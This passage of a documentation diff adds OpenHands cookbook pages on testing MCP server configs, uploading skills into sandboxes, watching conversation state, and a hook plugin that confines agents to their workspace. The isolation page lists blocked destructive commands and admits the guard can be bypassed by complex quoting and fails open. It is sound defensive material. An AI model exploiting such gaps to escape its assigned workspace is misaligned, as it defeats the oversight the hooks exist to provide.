the URL, token, or network +path is wrong, the server's tools simply never appear in a conversation — with +no error shown in the UI. (Under the hood, when multiple MCP servers are +configured, a server that fails to connect is logged as a warning in the +runtime/agent-server logs and silently skipped.) + +The agent-server already ships an endpoint that solves this: +`POST /api/mcp/test` connects to a single candidate server, lists its tools, +and optionally invokes one read-only tool to exercise credentials. This example +drives that endpoint from the Cloud API so you can verify a config end-to-end. + + + Requires an agent-server that includes `POST /api/mcp/test` + (added in **agent-server 1.29.0 / OpenHands 1.8.0**). Older runtimes return + `404` and the script tells you to upgrade the runtime image. + + +## How It Works + +```text +1. POST /api/v1/sandboxes -> start a sandbox (no conversation) +2. GET /api/v1/sandboxes?id= -> poll until status == RUNNING +3. read exposed_urls[AGENT_SERVER] -> the sandbox's agent-server URL + and session_api_key + per-sandbox session key +4. POST {agent_server}/api/mcp/test -> validate each server config +``` + +`POST /api/mcp/test` returns **HTTP 200 in both success and failure** — a failed +connection is the *expected* outcome of validating user input, not a server +error: + +```json +{"ok": true, "tools": ["..."], "tool_result": null} +{"ok": false, "error": "Client failed to connect: ...", "error_kind": "connection"} +``` + +`error_kind` is one of `timeout`, `connection`, or `unknown`. Note that HTTP +status failures (e.g. a `401` from a bad token) currently come back as +`unknown` with the status in the `error` text, so read `error` — not just +`error_kind` — when triaging auth problems. + +## Auth + +```bash +export OH_API_KEY=... # OpenHands Cloud API key +``` + +The same key authenticates the app-server calls (via `X-Session-API-Key`); the +agent-server calls use the per-sandbox `session_api_key` returned with the +sandbox. + +## Install + +Only depends on `requests`: + +```bash +pip install requests +# or, from the repo root: uv run --with requests test-mcp-config/test_mcp_config.py ... +``` + +## Run It + +```bash +# Single remote (streamable-http) server with a bearer token +python test_mcp_config.py \ + --url https://mcp.example.com/mcp --type shttp --server-api-key "$TOKEN" + +# Use an explicit header instead of --server-api-key, and verify credentials +# by invoking a known read-only tool (listing tools alone often won't): +python test_mcp_config.py --url https://mcp.example.com/mcp \ + --header "Authorization=Bearer $TOKEN" \ + --tool-call list_things + +# Stdio (subprocess) server. +# NOTE: values starting with "-" (e.g. npx's "-y") must use the --flag=value +# form, otherwise argparse treats them as options. This applies to +# --arg / --env / --header / --tool-arg. +python test_mcp_config.py --command npx --arg=-y --arg some-mcp-server + +# Test every server in an SDK-style config file +python test_mcp_config.py --config my_mcp_config.json + +# Test the servers actually saved in your account settings +python test_mcp_config.py --from-settings + +# Reuse a sandbox you already started (skips create + delete) +python test_mcp_config.py --sandbox-id --url https://mcp.example.com/mcp +``` + +### Testing your saved settings (and picking from multiple servers) + +`--from-settings` reads `agent_settings.mcp_config` from `GET /api/v1/settings` +(handling the stored `auth` / `transport` shape, including bearer tokens) and, +by default, **tests every server** you have configured. + +When several servers are installed you can see the options and target a subset: + +```bash +# List configured servers without starting a sandbox (no secrets printed) +python test_mcp_config.py --from-settings --list + +# Test only specific servers by name (repeatable) +python test_mcp_config.py --from-settings --server jira --server figma +``` + + + MCP config is a **single shared map** (`mcp_config.mcpServers`) — it is not + split across LLM/settings profiles, so "multiple installed" means multiple + servers in that one map. Use `--list` to discover names, then `--server` to + pick. Point `--settings-url` at an org/self-hosted settings endpoint if your + config lives somewhere other than `{base-url}/api/v1/settings`. + + +`--config` accepts an SDK-style file (the same `mcpServers` shape returned by +`GET /api/v1/settings` under `agent_settings.mcp_config`): + +```json +{ + "mcpServers": { + "jira": {"url": "https://mcp-jira.example.com/http", "transport": "http"}, + "figma": {"url": "https://mcp-figma.example.com/mcp", "transport": "http"}, + "local": {"command": "npx", "args": ["-y", "some-mcp-server"]} + } +} +``` + +By default the script creates a sandbox, runs the tests, and deletes the +sandbox. Pass `--keep` (or `--sandbox-id`) to leave it running. The process +exits non-zero if any server fails, so it is CI-friendly. + +## Example Output + +Running against three servers — the official MCP reference server +([`@modelcontextprotocol/server-everything`](https://github.com/modelcontextprotocol/servers/tree/main/src/everything), +stdio) plus two deliberate failures: + +```text +sandbox: 2092i4jTpja41kRuzNcLIJ + status: RUNNING +agent: https://.prod-runtime.all-hands.dev + +--- everything_reference (stdio: npx) --- + OK connected; 13 tool(s): echo, get-annotated-message, get-env, ... + +--- bad_dns (http: http://nonexistent.invalid/mcp) --- + FAIL [connection] Client failed to connect: [Errno -2] Name or service not known + +--- conn_refused (http: http://127.0.0.1:1/mcp) --- + FAIL [connection] Client failed to connect: All connection attempts failed + +1/3 server(s) OK. + +Deleting sandbox 2092i4jTpja41kRuzNcLIJ ... +``` + + + Tip: stdio servers fetched via `npx -y` download on first run, so give them a + longer `--timeout` (e.g. `--timeout 90`). + + +## Notes & Limitations + +- **Credentials checked only on tool invocation.** Some servers connect and + list tools fine with a bad token, and only fail when a tool runs. Pass + `--tool-call ` to exercise those credentials; the outcome is + reported under `tool_result` and does **not** change `ok`. +- **Plaintext secrets.** This example sends whatever token/headers you pass, in + plaintext, to the sandbox you control. (The web UI's "edit" flow round-trips + *encrypted* stored secrets to the same endpoint; that cross-cipher path is a + UI-internal detail and out of scope here.) +- **Self-hosted / Enterprise.** Point `--base-url` (or `OH_API_BASE`) at your + deployment. The flow is identical as long as the runtime image is new enough + to expose `POST /api/mcp/test`. diff --git a/cookbook/upload-skills.mdx b/cookbook/upload-skills.mdx new file mode 100644 index 000000000..d63bdbf8e --- /dev/null +++ b/cookbook/upload-skills.mdx @@ -0,0 +1,224 @@ +--- +title: Upload Skills +description: Upload a local agent-skills directory into a sandbox, then start a conversation that uses them. +icon: upload +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (upload-skills/README.md). Edit the source, not this file. */} + + + +This example is a small command-line tool: you hand it a **local agent-skills +directory** and it provisions a sandbox, copies your skills into the right place +inside it, and starts a fresh conversation that can use them. It prints the URL +of the conversation it just created. + +It builds on [`clone-and-attach`](/cookbook/clone-and-attach), which prepares a sandbox +(clone + `setup.sh`) and then attaches a conversation. Here we prepare the +sandbox by **uploading skills** instead. Read [`start-sandbox`](/cookbook/start-sandbox) +first if the sandbox/agent-server split is new to you. + +## Why Would I Do This? + +You have skills authored locally (a folder of `SKILL.md` files) and you want an +agent to use them *without* committing them to a repo or installing them by +hand. This script drops them into the sandbox's **user skills directory** before +the conversation starts, so the brand-new conversation loads them automatically. + + + **Most of the time you don't need this script.** The standard ways to give a + workspace skills are to **store them in your repository as a plugin** (e.g. + under `.openhands/skills/`) and **start the conversation with that plugin + reference**, or to run **`/add-skill `** to add a skill to the + workspace. Reach for this example when you want to push *local, uncommitted* + skills straight into a sandbox programmatically — for automation, quick + experiments, or skills you're not ready to commit. + + +### Where do the skills go, and why there? + +When OpenHands starts a conversation it loads skills from several sources and +merges them. **User skills** come from the sandbox user's home: + +- `~/.openhands/skills/` ← this example's default target +- `~/.agents/skills/` ← newer AgentSkills location (use `--remote-skills-dir`) +- `~/.openhands/microagents/` (legacy) + +Because the upload happens **before** the conversation is created, the loader +picks the skills up for that conversation. (The start-task lifecycle even has a +dedicated `SETTING_UP_SKILLS` phase.) Putting them under the user home — rather +than a repo's `.openhands/skills/` — means they load regardless of whether a +repository is selected. + + + Already-running conversations are **not** re-scanned. Upload skills first, + then start the conversation — which is exactly what this script does. + + +## How It Works + +```text +POST /api/v1/sandboxes # 1. start a sandbox (no conversation) +GET /api/v1/sandboxes?id= # 2. poll until status == RUNNING +GET {agent}/api/file/home # 3. resolve ~ (sandbox user's home) +POST {agent}/api/file/upload?path= # 4a. upload one tar.gz of your skills +POST {agent}/api/bash/execute_bash_command # 4b. extract it into ~/.openhands/skills +POST /api/v1/app-conversations # 5. start a conversation (sandbox_id=) +GET /api/v1/app-conversations/start-tasks # 5b. poll for the app_conversation_id +``` + +Steps 1–2 and 5 use the **Cloud app server** (auth header +`X-Session-API-Key: `). Steps 3–4 use the sandbox's **agent server** +(auth header `X-Session-API-Key: `, returned by the create +call). The agent server is where file upload and shell execution live — the +Cloud app server has no file-upload route. + +### Recursive copy without per-file round-trips + +Rather than upload files one at a time, the script tars the **contents** of your +local directory (`arcname="."`) into a single `.tar.gz`, uploads that one +archive, and extracts it with `tar -xzf ... -C `. So a local layout +like: + +```text +my-skills/ +├── code-review/SKILL.md +└── deploy-helper/SKILL.md +``` + +ends up as `~/.openhands/skills/code-review/SKILL.md` and +`~/.openhands/skills/deploy-helper/SKILL.md` in the sandbox. + +## Run It + +```bash +export OH_API_KEY=... # your https://app.all-hands.dev API key +pip install requests + +# Zero-config: uploads the bundled example-skills/ and starts a conversation +# that asks the agent to list the skills it can see. +python upload_skills.py ./example-skills +``` + +Sample output: + +```text +local skills dir: /path/to/enterprise-cookbook/upload-skills/example-skills + AgentSkills (SKILL.md): 1 + - hello-openhands + loose .md skills: 0 +sandbox: 1ho9eZpt4m27CC23XPdGcN + sandbox status: RUNNING +agent: https://ahhygodzefollslv.prod-runtime.all-hands.dev + +=== upload skills -> /home/openhands/.openhands/skills === + uploading 412 bytes -> /tmp/oh-upload-skills.tar.gz +$ extract skills (exit=0) +installed skills: + hello-openhands/SKILL.md + +=== start conversation === + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: READY + +Conversation started on your skills-loaded sandbox: + https://app.all-hands.dev/conversations/f041a2e252cf45b39a46a3189b2efce7 +``` + +Open that URL and ask the agent to *"say hello"* — it should answer using the +uploaded `hello-openhands` skill. + +## Point It at Your Own Skills + +Every input is a flag with an environment-variable fallback, so the script is +safe to drop into your own automation unchanged: + +| Flag | Env var | Default | Purpose | +| ------------------------- | -------------------- | --------------------------- | ------------------------------------------------------------ | +| `skills_dir` (positional) | — | — (required) | Local skills directory to upload | +| `--api-key` | `OH_API_KEY` | — (required) | Cloud API key | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | Cloud app server | +| `--remote-skills-dir` | `REMOTE_SKILLS_DIR` | `~/.openhands/skills` | Destination in the sandbox (`~` expands to the sandbox home) | +| `--message` | `INITIAL_MESSAGE` | a "list your skills" prompt | First message to the agent | +| `--title` | `CONVERSATION_TITLE` | `upload-skills demo` | Conversation title | +| `--sandbox-id` | `SANDBOX_ID` | none | Reuse a RUNNING sandbox instead of creating one | +| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | account default | Runtime image to start | +| `--poll-timeout` | `POLL_TIMEOUT` | `240` | Seconds to wait for readiness | + +```bash +# Upload your own folder of SKILL.md skills and target the newer location. +python upload_skills.py ~/my-skills \ + --remote-skills-dir '~/.agents/skills' \ + --message "Use my deploy-helper skill to outline a release plan." +``` + +### Reusing the sandbox so new conversations load these skills automatically + +Once this script runs, the uploaded skills live in the sandbox's home directory, +so the sandbox is now a ready-made, skills-loaded environment. Whether *new* +conversations reuse it — and therefore inherit those skills for free — is +controlled by the **Sandbox Grouping Strategy** setting under +**Settings → Application**. + +- **Default — `No Grouping (new sandbox per conversation)`:** every new + conversation gets its own fresh sandbox, so conversations you start later + (in the UI or via the API) will **not** see the skills uploaded here. +- **Any grouping strategy** (e.g. `Group by Newest`, `Add to Any`, + `Least Recently Used`, `Fewest Conversations`): new conversations are added to + an existing, still-running sandbox instead of a fresh one. Because every + conversation reloads skills from the sandbox home when it starts, the + conversations you create **straight from the web UI** land on this + skills-loaded sandbox and pick up the uploaded skills automatically — no + re-running this script needed. + +So a typical flow is: run this script once to seed a sandbox with your skills, +set a grouping strategy in the UI, then just open new conversations normally and +they'll already know your skills. + + + **Caveat: this only works while the seeded sandbox is still running.** A new + conversation can only join a sandbox that is still running. If the seeded + sandbox has gone **inactive** (paused after a stretch of no activity, but not + yet deleted), a new conversation starts a *fresh* sandbox instead — without + your skills. Reopening an **existing** conversation still brings its sandbox + back (and your skills with it), and you can always reuse a specific sandbox — + even an inactive one — by passing `--sandbox-id `, which wakes it + up. + + +(If you'd rather stay scripted, you can also target a specific sandbox directly +with `--sandbox-id ` / `SANDBOX_ID` instead of relying on the +grouping setting — this resumes the sandbox if it is paused.) + +### Skill format + +Each skill is a directory containing a `SKILL.md` with YAML frontmatter: + +```markdown +--- +name: my-skill +description: What it does and when to use it. +--- + +# My Skill + +Instructions for the agent... +``` + +Add an optional `triggers:` list to auto-activate a skill when keywords appear +in a user message. See the bundled [`example-skills/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/upload-skills/example-skills) for a +working sample. + +## Cleanup + +The sandbox is intentionally left running because a live conversation is now +attached to it — deleting the sandbox ends that conversation. Delete it from the +conversation UI, or via the API (the id goes in **both** the path and a required +`sandbox_id` query parameter): + +```bash +SID= +curl -X DELETE "https://app.all-hands.dev/api/v1/sandboxes/${SID}?sandbox_id=${SID}" \ + -H "X-Session-API-Key: $OH_API_KEY" +``` diff --git a/cookbook/watch-terminal-state.mdx b/cookbook/watch-terminal-state.mdx new file mode 100644 index 000000000..5e075eda5 --- /dev/null +++ b/cookbook/watch-terminal-state.mdx @@ -0,0 +1,192 @@ +--- +title: Watch Terminal State +description: Detect confirmed terminal execution_status over WebSocket with proper event handling. +icon: terminal +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (watch-terminal-state/README.md). Edit the source, not this file. */} + + + +A follow-on to [`react-to-state-websocket`](/cookbook/react-to-state-websocket). That +example covers the basics — start a Cloud sandbox, **attach** a conversation (no +LLM key needed), open the agent-server WebSocket +(`/sockets/events/{conversation_id}`), and print every `execution_status` +transition. **Read it first.** + +This example keeps the *same Cloud approach* and layers on what you need to know +to answer one specific question reliably: **"is this conversation actually +done?"** — and then exit. It adds three things on top of the basics: + +1. **Both event shapes.** `ConversationStateUpdateEvent` arrives two ways; a + robust "am I done?" check reads both. +2. **`finished` is advisory; `error`/`stuck` are immediate.** A per-field + `finished` can be reverted by a Stop hook, so it is confirmed with a + `full_state` snapshot. +3. **First-message auth**, keeping the session key out of URLs and proxy logs. + +One file: + +- [`watch_terminal_state.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/watch-terminal-state/watch_terminal_state.py) — start a sandbox, + attach a conversation, watch the socket, and report the **confirmed** terminal + state. + +## Prerequisites + +Start with [`react-to-state-websocket`](/cookbook/react-to-state-websocket) for the +Cloud sandbox lifecycle (create → attach → start-task poll → delete) and the +socket subscription. Everything here builds directly on that; the sandbox and +attach code is intentionally identical so you can focus on the new parts. + +## What This Adds + +### 1. Both `ConversationStateUpdateEvent` shapes + +The agent-server reports state over the socket in **two** shapes, and they carry +the same `execution_status` field in different places: + +| Shape | Frame | Where `execution_status` lives | +| -------------- | ------------------------------------------------------------------------------------------------------ | ------------------------------ | +| **per-field** | `{"kind":"ConversationStateUpdateEvent","key":"execution_status","value":"finished"}` | `value` (a string) | +| **full-state** | `{"kind":"ConversationStateUpdateEvent","key":"full_state","value":{…,"execution_status":"finished"}}` | `value["execution_status"]` | + +`react-to-state-websocket` reads only the per-field shape — perfect for printing +transitions as they happen. For a reliable *terminal* check you want both, +because the authoritative confirmation comes in the full-state snapshot (next +point). `watch_terminal_state.py` handles both in `_status_from_event()`. + +### 2. `finished` is advisory; `error` / `stuck` are immediate + +The SDK treats a per-field `finished` as **provisional**: a `Stop` hook can +intercept the stop and resume the run (that is exactly what +[`finish-callback`](/cookbook/finish-callback) does). The **authoritative** signal is +the `full_state` snapshot emitted once the run settles. So this example: + +- remembers a per-field `finished` but does **not** exit on it, +- exits when a `full_state` snapshot reports `finished`, +- exits **immediately** on `error` or `stuck` in either shape (those are not + revertible). + +You can see both steps in the real run below: a provisional per-field `finished`, +then the confirming `full_state`. + +### 3. First-message auth (log-safe) + +The socket accepts the session key three ways: an `X-Session-API-Key` header, a +`?session_api_key=…` query parameter (**deprecated**), or a first WebSocket +frame `{"type":"auth","session_api_key":"…"}`. This example uses the **first +frame**, so the key never appears in the URL — and therefore never lands in +reverse-proxy or load-balancer access logs. (`resend_mode=all` stays in the +query string; it is not a secret.) + +## Run It + +```bash +export OH_API_KEY=... # your https://app.all-hands.dev API key +pip install requests websockets + +python watch_terminal_state.py +``` + +No LLM key is required: attaching through the Cloud app server injects your +account's configured LLM. + +### Flags + +| Flag | Env var | Default | +| ------------------- | ----------------- | --------------------------------------------- | +| `--api-key` | `OH_API_KEY` | — (required) | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | +| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | none (account default image) | +| `--message` | — | `Say hello in one short sentence, then stop.` | +| `--poll-timeout` | `POLL_TIMEOUT` | `180` (sandbox / start-task) | +| `--watch-timeout` | — | `180` (socket watch) | +| `--keep` | — | off (deletes the sandbox at the end) | + +## What It Prints + +```text +sandbox: 5GcGcTMU1BSlCWzQBl7hhk + sandbox status: STARTING + sandbox status: RUNNING +agent: https://ffucfbirggvuhswm.prod-runtime.all-hands.dev + +=== attaching conversation (start-task poll) === + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: READY +conversation: 3477437940124f9c9adfef04f8cc5bb4 + +=== watching for terminal state (WebSocket) === +ws: connected — waiting for terminal state (no REST polling) + + >> execution_status=running (full_state) + .. SystemPromptEvent + .. MessageEvent + >> execution_status=running (per-field) + .. StreamingDeltaEvent + .. MessageEvent + >> execution_status=finished (per-field) + (provisional — awaiting full_state confirmation) + >> execution_status=finished (full_state) + +terminal state reached: finished +(confirmed over the WebSocket — no polling) + +Cleaning up sandbox… +``` + +## Notes + +- **No conversation-state polling.** Only the sandbox lifecycle and the + start-task are polled, and only for provisioning. Every `execution_status` + signal comes off the socket. +- **The terminal set** is `finished`, `error`, `stuck` + (`ConversationExecutionStatus.is_terminal()`). `idle` is excluded — it is also + the *initial* state before a run starts. +- **Simpler variant.** If you do not care about the advisory/confirmed + distinction, reading only the per-field shape (as + `react-to-state-websocket` does) and stopping on the first `finished` is + shorter — just slightly less precise if a Stop hook is in play. + +## Running Locally Without Cloud + +The audience for this example is **Cloud**. If you have no Cloud account, the +identical socket also runs against an agent-server you start yourself in Docker — +point `ws://localhost:/sockets/events/{id}` at it and pass the +`SESSION_API_KEY` you launched the container with. See +[`start-sandbox`](/cookbook/start-sandbox) for the agent-server image and +[`server-info-idle`](/cookbook/server-info-idle) for a local Docker fallback pattern. +The event handling in `watch_terminal_state.py` is unchanged; only how you obtain +the agent-server URL + session key differs. + +## APIs Used + +Same as [`react-to-state-websocket`](/cookbook/react-to-state-websocket): + +- **Cloud app server** (`https://app.all-hands.dev`, `X-Session-API-Key: `): + - `POST /api/v1/sandboxes` — start a sandbox + - `GET /api/v1/sandboxes?id=` — poll until `RUNNING` + - `POST /api/v1/app-conversations` — attach a conversation (returns a start task) + - `GET /api/v1/app-conversations/start-tasks?ids=` — poll for the id + - `DELETE /api/v1/sandboxes/{id}?sandbox_id=` — clean up +- **Agent server** (the sandbox's `AGENT_SERVER` exposed URL, `session_api_key`): + - `GET /sockets/events/{conversation_id}` — the **WebSocket** event stream + (`wss://…`), first-frame auth, `?resend_mode=all` to replay events emitted + before the socket connected. + +## Related + + + + start here: the basics of subscribing to the socket and reacting to every transition, with two ways to create the conversation (Cloud-attach vs. agent-direct) + + + + the coarse pull alternative: poll /server_info.idle_time for "the workspace has gone quiet" + + + + a Stop-hook callback on FINISHED (why per-field finished is advisory) + + diff --git a/cookbook/workspace-isolation.mdx b/cookbook/workspace-isolation.mdx new file mode 100644 index 000000000..bbd648409 --- /dev/null +++ b/cookbook/workspace-isolation.mdx @@ -0,0 +1,342 @@ +--- +title: Workspace Isolation +description: Enforce directory boundaries with hooks to prevent agents from navigating or writing outside assigned workspace. +icon: folder-tree +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (workspace-isolation/README.md). Edit the source, not this file. */} + + + +An **advanced** hook example that enforces workspace isolation - preventing agents from navigating or writing outside their assigned directory. This is particularly useful when running **multiple parallel conversations on a local machine**, ensuring each conversation stays in its own sandbox without interfering with others. + +Based on the production implementation in [jpshackelford/lxa](https://github.com/jpshackelford/lxa/blob/main/src/hooks/sandbox.py). + +## What's in the Box + +The [`sandbox-enforcer/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/workspace-isolation/sandbox-enforcer) plugin bundles: + +- **Hooks manifest** (`hooks/hooks.json`) - Two PreToolUse hooks (one for `terminal`, + one for `file_editor`) whose validation logic is **inlined** as POSIX-sh `command`s +- **Reference scripts** (`hooks/scripts/*.sh`) - The same logic as standalone files, + kept for readability/diffing (see the note under [Hook Scripts](#hook-scripts) on why + the manifest inlines them rather than referencing these files) +- **Skill** (`skills/sandbox-enforcer/SKILL.md`) - Documentation about isolation rules +- **Plugin manifest** (`.claude-plugin/plugin.json`) - Standard Claude Code plugin format + +## The Problem This Solves + +**Scenario:** You're running a local OpenHands instance with multiple conversations in parallel: + +```text +~/my-projects/ +├── web-app/ ← Conversation 1: "Refactor the auth module" +├── api-server/ ← Conversation 2: "Add rate limiting" +└── cli-tool/ ← Conversation 3: "Fix the parser bug" +``` + +**Without workspace isolation:** + +- Agent 1 might accidentally `cd ../api-server` and modify the wrong project +- Agent 2 could `rm -rf ../web-app/node_modules` while cleaning up +- Agent 3 might write test output to `/tmp` that conflicts with other agents + +**With workspace isolation:** + +- Each agent stays in its assigned directory +- Attempts to navigate or write outside are blocked with helpful messages +- Agents can still READ external files (with `# read-only` escape hatch) + +## How It Works + +```mermaid +flowchart TD + A["User to Agent 1: #quot;Navigate to /tmp and create a cache file#quot;"] --> B["Agent 1: *prepares: cd /tmp*"] + B --> C["PreToolUse Hook (terminal): *intercepts command*"] + C --> C1["Detects: cd /tmp (outside workspace)"] + C1 --> C2["Workspace: /home/user/my-projects/web-app"] + C2 --> C3["Returns exit code 2 (block) + message"] + C3 --> D["Agent 1: *receives block, explains to user*"] + D --> E["User: *Agent stays safely in web-app directory*"] +``` + +Meanwhile, Agent 2 and Agent 3 work independently in their own workspaces without risk of collision. + +## Protected Operations + +The plugin enforces isolation for: + +### Terminal Commands + +- **Navigation:** `cd`, `pushd`, `popd` to external directories +- **Write operations:** `rm`, `mv`, `cp`, `chmod`, `mkdir`, `touch`, `dd`, `ln`, etc. +- **Output redirection:** `>`, `>>` to external paths + +### File Editor Operations + +- **Write commands:** `create`, `str_replace`, `insert`, `undo_edit` to external paths +- **Read commands:** `view` is always allowed (can read anywhere) + +## Run It + + + + 1. Create multiple project directories: + + ```bash + mkdir -p ~/my-projects/{project-a,project-b,project-c} + ``` + + 2. Load the plugin in each conversation with different workspace dirs: + + ```bash + # Conversation 1 - workspace: ~/my-projects/project-a + cd ~/my-projects/project-a + # Load plugin with load-plugin example + + # Conversation 2 - workspace: ~/my-projects/project-b + cd ~/my-projects/project-b + # Load plugin with load-plugin example + ``` + + 3. Try cross-contamination (it will be blocked): + + ```bash + # In Conversation 1 + cd ../project-b # BLOCKED + cp file.txt ../project-b/ # BLOCKED + ``` + + + + ```bash + cd ../load-plugin + + # This will be blocked (cd outside workspace) + python load_plugin.py \ + --repo-path workspace-isolation/sandbox-enforcer \ + --message "Navigate to /tmp and list files there" + + # This will be allowed (within workspace) + python load_plugin.py \ + --repo-path workspace-isolation/sandbox-enforcer \ + --message "List all files in the current directory" + ``` + + + + [![Try Sandbox Enforcer](https://img.shields.io/badge/Try%20Sandbox%20Enforcer-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAid29ya3NwYWNlLWlzb2xhdGlvbi9zYW5kYm94LWVuZm9yY2VyIn1d\&message=Navigate%20to%20%2Ftmp%20and%20create%20a%20file%20there) + + + + + **Note:** In cloud ephemeral workspaces, this isolation is less critical (each conversation gets its own container), but it still demonstrates the technique for local setups. + + +## The `# read-only` Escape Hatch + +Sometimes you need to READ system files or shared resources outside your workspace. + +Add `# read-only` to your prompt: + +```bash +# ✓ Allowed - read-only access to system file +cat /etc/os-release # read-only + +# ✓ Allowed - check system information +uname -a # read-only + +# ✗ Still blocked - write operation +echo "data" > /tmp/output.txt # read-only (doesn't help with writes) +``` + +The hook detects the `# read-only` comment and allows non-destructive operations that reference external paths. + +## Hook Scripts + + + **Inline, not referenced.** When a plugin's PreToolUse hook fires, the hook + runner executes the `command` through `/bin/sh -c` with the working directory + set to the **agent's workspace**, not the plugin directory — and there is no + plugin-root path variable for hooks. A relative `hooks/scripts/validate_*.sh` + therefore won't resolve at runtime, and `{"type": "script", "path": ...}` is + **not** a supported hook type (only `command`, `prompt`, `agent`). So + `hooks/hooks.json` **inlines** each validator as a POSIX-sh `command`. The + `.sh` files below are byte-for-byte the same logic, kept as readable reference + (and easy to lint/diff); edit them and the inline `command` together. + + +### 1. Terminal Validation (`validate_terminal.sh`) + +Checks terminal commands for: + +- Navigation commands (`cd`, `pushd`, `popd`) trying to leave workspace +- Write commands (`rm`, `mv`, `cp`, `chmod`, `mkdir`, etc.) targeting external paths +- Output redirects (`>`, `>>`) to external files + +```bash +#!/bin/bash +input=$(cat) +workspace="${OPENHANDS_PROJECT_DIR:-$PWD}" + +# Check for navigation outside workspace +if [[ command is cd/pushd/popd to external path ]]; then + echo '{"decision": "deny", "reason": "Cannot navigate outside workspace..."}' + exit 2 +fi + +# Check for write operations outside workspace +# ... +``` + +### 2. File Editor Validation (`validate_file_editor.sh`) + +Checks file_editor operations: + +- Always allows `view` (read-only) +- Blocks `create`, `str_replace`, `insert`, `undo_edit` to external paths + +```bash +#!/bin/bash +input=$(cat) +workspace="${OPENHANDS_PROJECT_DIR:-$PWD}" + +# Always allow view +if [[ command == "view" ]]; then + exit 0 +fi + +# Block writes outside workspace +# ... +``` + +## Workspace Detection + +The hooks determine your workspace using (in order): + +1. **`OPENHANDS_PROJECT_DIR`** - Set by OpenHands Cloud/Enterprise +2. **`PWD`** - Current working directory (fallback) + +This makes it work in both local and cloud environments. + +## Plugin Structure + +```text +sandbox-enforcer/ +├── .claude-plugin/ +│ └── plugin.json # Plugin metadata +├── hooks/ +│ ├── hooks.json # Hook config (validators inlined as POSIX-sh commands) +│ └── scripts/ +│ ├── validate_terminal.sh # Reference copy of the terminal validator +│ └── validate_file_editor.sh # Reference copy of the file_editor validator +└── skills/ + └── sandbox-enforcer/ + └── SKILL.md # Documentation (auto-loaded) +``` + +This follows the **Claude Code plugin format**. The validation logic lives inline +in `hooks.json` (so it resolves at runtime as a plugin); the `scripts/*.sh` files +hold the identical logic for readability. + +## Comparison with Other Examples + +| Example | Approach | Security Level | Use Case | Complexity | +| ------------------------------------------------ | ---------------------------- | -------------- | ------------------------------------ | ------------ | +| [command-blacklist](/cookbook/command-blacklist) | Block dangerous patterns | Medium | General protection | Simple | +| [command-whitelist](/cookbook/command-whitelist) | Allow only approved commands | High | Read-only, educational | Simple | +| **workspace-isolation** (this) | Enforce directory boundaries | High | Parallel conversations, multi-tenant | **Advanced** | + +All three can be combined for defense-in-depth! + +## When to Use This + +**✅ Use workspace isolation when:** + +- Running multiple parallel conversations on one machine +- Each conversation works on a different project/directory +- You need to prevent cross-contamination between workspaces +- Building multi-tenant local development environments +- Teaching/educational scenarios with multiple students + +**⏭️ Skip workspace isolation when:** + +- Using cloud ephemeral workspaces (already isolated by containers) +- Running only one conversation at a time +- The agent needs to work across multiple project directories intentionally + +## Real-World Example: LXA + +This example is based on [jpshackelford/lxa](https://github.com/jpshackelford/lxa), a production tool that manages multiple OpenHands conversations in parallel: + +```text +lxa schedule --all # Process all jobs in parallel, each in its own workspace +├── Job 1: /data/job-1234/ (isolated) +├── Job 2: /data/job-5678/ (isolated) +└── Job 3: /data/job-9012/ (isolated) +``` + +The hooks ensure each job stays in its assigned directory, preventing interference. + +## Limitations + +This is a **simplified, heuristic-based implementation** with limitations: + +1. **No full shell parsing** - Complex quoting might bypass detection +2. **No path canonicalization** - Doesn't resolve symlinks or `.` / `..` fully +3. **Simplified command extraction** - May not catch all edge cases +4. **Fails open** - If hook can't parse input, it allows the operation (for safety) + +For production use, see the full [Python implementation in lxa](https://github.com/jpshackelford/lxa/blob/main/src/hooks/sandbox.py) which handles: + +- Full path resolution with `pathlib` +- Symlink following +- Complex shell command parsing with `shlex` +- Proper handling of shell metacharacters and quoting + +## Extending the Example + +Want to add more restrictions? Edit the inlined `command` in `hooks/hooks.json` +(and keep the reference `scripts/*.sh` in sync): + +```sh +# Add more blocked write commands, e.g. npm and pip: +if printf '%s' "$cmd_name" | grep -qE "^(rm|rmdir|mv|cp|chmod|chown|mkdir|touch|dd|ln|npm|pip)$"; then + # ... +fi +``` + +Keep the logic POSIX-sh and inline so it runs correctly when loaded as a plugin +(see the note under [Hook Scripts](#hook-scripts)). + +## Contributing + +This example prioritizes clarity and accessibility over completeness. If you're building a production system, refer to the [lxa implementation](https://github.com/jpshackelford/lxa/blob/main/src/hooks/sandbox.py) for a more robust approach. + +## Related + + + + Official documentation + + + + Production implementation + + + + Block dangerous commands + + + + Whitelist safe commands + + + + How to load this plugin + + + + No-code launcher + + diff --git a/docs.json b/docs.json index 8572c832f..35a035021 100644 --- a/docs.json +++ b/docs.json @@ -647,16 +647,58 @@ "cookbook/index" ] }, + { + "group": "Sandbox lifecycle", + "pages": [ + "cookbook/archive-sandbox", + "cookbook/clone-and-attach", + "cookbook/start-sandbox" + ] + }, { "group": "Conversation monitoring & reacting", "pages": [ - "cookbook/conversation-tags" + "cookbook/conversation-metrics", + "cookbook/conversation-tags", + "cookbook/finish-callback", + "cookbook/react-to-state-websocket", + "cookbook/server-info-idle", + "cookbook/watch-terminal-state" + ] + }, + { + "group": "Secrets & authentication", + "pages": [ + "cookbook/gpg-commit-signing", + "cookbook/per-conversation-secrets", + "cookbook/service-account-github-pat" + ] + }, + { + "group": "Plugins, skills & MCP", + "pages": [ + "cookbook/launch-plugin-badge", + "cookbook/load-plugin", + "cookbook/test-mcp-config", + "cookbook/upload-skills" + ] + }, + { + "group": "Custom agents & tools", + "pages": [ + 